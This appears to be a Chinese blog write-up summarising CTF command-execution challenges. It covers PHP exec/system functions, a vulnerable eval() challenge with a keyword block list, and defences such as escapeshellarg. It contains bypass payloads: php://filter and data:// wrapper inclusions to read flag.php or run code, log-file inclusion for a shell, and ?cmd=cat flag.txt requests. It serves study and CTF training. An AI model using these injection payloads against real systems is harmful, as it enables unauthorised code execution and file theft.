CTF命令执行部分总结

😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

关于CTF中的命令执行部分的题目以及常见的绕过方式,做以下的总结,仅仅是自己在做题的过程中学习到的知识,可能不太全面,或者是有许多的错误,还恳请各位师傅及时指出,谢谢!

常见的命令执行函数

exec()、system()、passthru()、pcntl_exec()、shell_exec() 、反引号` 、shell_exec()函数

exec()函数

该函数只返回最后一行的结果:

测试代码:

<?php
    echo exec('ping 127.0.0.1');
?>

system()函数

system函数:逐行返回数据;

<?php
    echo system('ping 127.0.0.1');
?>

passthru()函数

<?php
    echo passthru('ping 127.0.0.1');
?>

shell_exec()

<?php
    echo shell_exec('ping 127.0.0.1');
?>

反引号` 

反引号的效果和shell_exec是一样的;

<?php
    echo `ping 127.0.0.1`;
?>

<?php
    $payload = `whoami`;
    echo "{$payload}";
?>

nl命令 

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号,nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

echo `nl flag.php`;

命令执行+文件包含

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

命令执行还可以配合文件包含,对于上述的题目,我们可以使用include、require等文件包含函数进行绕过;

c=include($_GET[x]);&x=php://filter/read=convert.base64-encode/resource=flag.php

那么如果上述的正则表达式中添加(和;在这种情况下对于分号的绕过还可以使用?>来闭合

c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
}

针对强制添加后缀名的绕过,可以使用data伪协议(参数污染)

data://text/plain;base64,<?php phpinfo()?>(语句要经过base64编码)

还可以通过包含日志文件,观察日志文件中的数据,通过抓包修改对应的信息,从而达到拿shell的目的;

if(!preg_match("/flag/i", $c)){
        include($c.".php");
}

上面的这种情况便是强制性的加上了php的后缀名,便可以使用data://text/plain。这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用;

### CTFHub 技能树 Web RCE 命令注入 练习题及解法 #### 关于RCE(远程命令执行) 远程命令执行漏洞允许攻击者通过应用程序接口向服务器发送恶意指令并获得响应。这种类型的漏洞通常发生在输入未被充分验证的情况下,使得攻击者能够利用特定的字符串来触发系统的 shell 执行功能。 在 CTFHub 的技能树中提到的一个典型场景是使用 Hackbar 插件配合 GET 请求传递参数 `ctfhub` 来实现文件遍历操作[^1]。此过程展示了如何通过构造特殊的 URL 参数让目标程序暴露其内部结构甚至敏感数据。 #### 实践案例分析 假设存在这样一个脆弱点:当用户访问某个页面时可以指定额外选项作为查询条件的一部分;如果开发者没有对这些外部可控变量加以过滤,则可能形成安全隐患。例如,在下面的例子中,我们尝试调用 Linux 系统自带的一些基本工具完成任务: ```bash ?cmd=ls / ``` 上述请求会返回根目录下的所有子项列表[^3]。进一步地,为了读取具体的目标文件内容,我们可以继续提交如下形式的数据包给服务端处理: ```bash ?cmd=cat flag.txt ``` 这一步骤最终实现了从远端提取到所需的标志位信息——即所谓的 “Flag”。 #### 编码实践中的防御措施 为了避免此类问题的发生,应当采取以下策略之一或者组合应用它们以增强安全性: - **白名单机制**:仅接受预定义范围内的合法值; - **转义特殊字符**:对于不可信来源的内容做适当转换以免干扰正常解析流程; - **最小权限原则**:确保运行环境只拥有刚好够用的权利而不会越界行事。 以下是基于 PHP 语言编写的一段示范代码片段用于演示安全编码方式预防潜在威胁的方法: ```php <?php // 安全版本: 使用 escapeshellarg 函数防止非法字符进入系统调用层 $command = 'echo '.escapeshellarg($_GET['input']); exec($command, $output); print_r($output); ?> ``` #### 总结 通过对实际题目解决方案的学习以及常见防护手段的研究可以帮助参赛选手更好地理解 web 应用开发过程中需要注意的安全事项,并提高解决类似挑战的能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值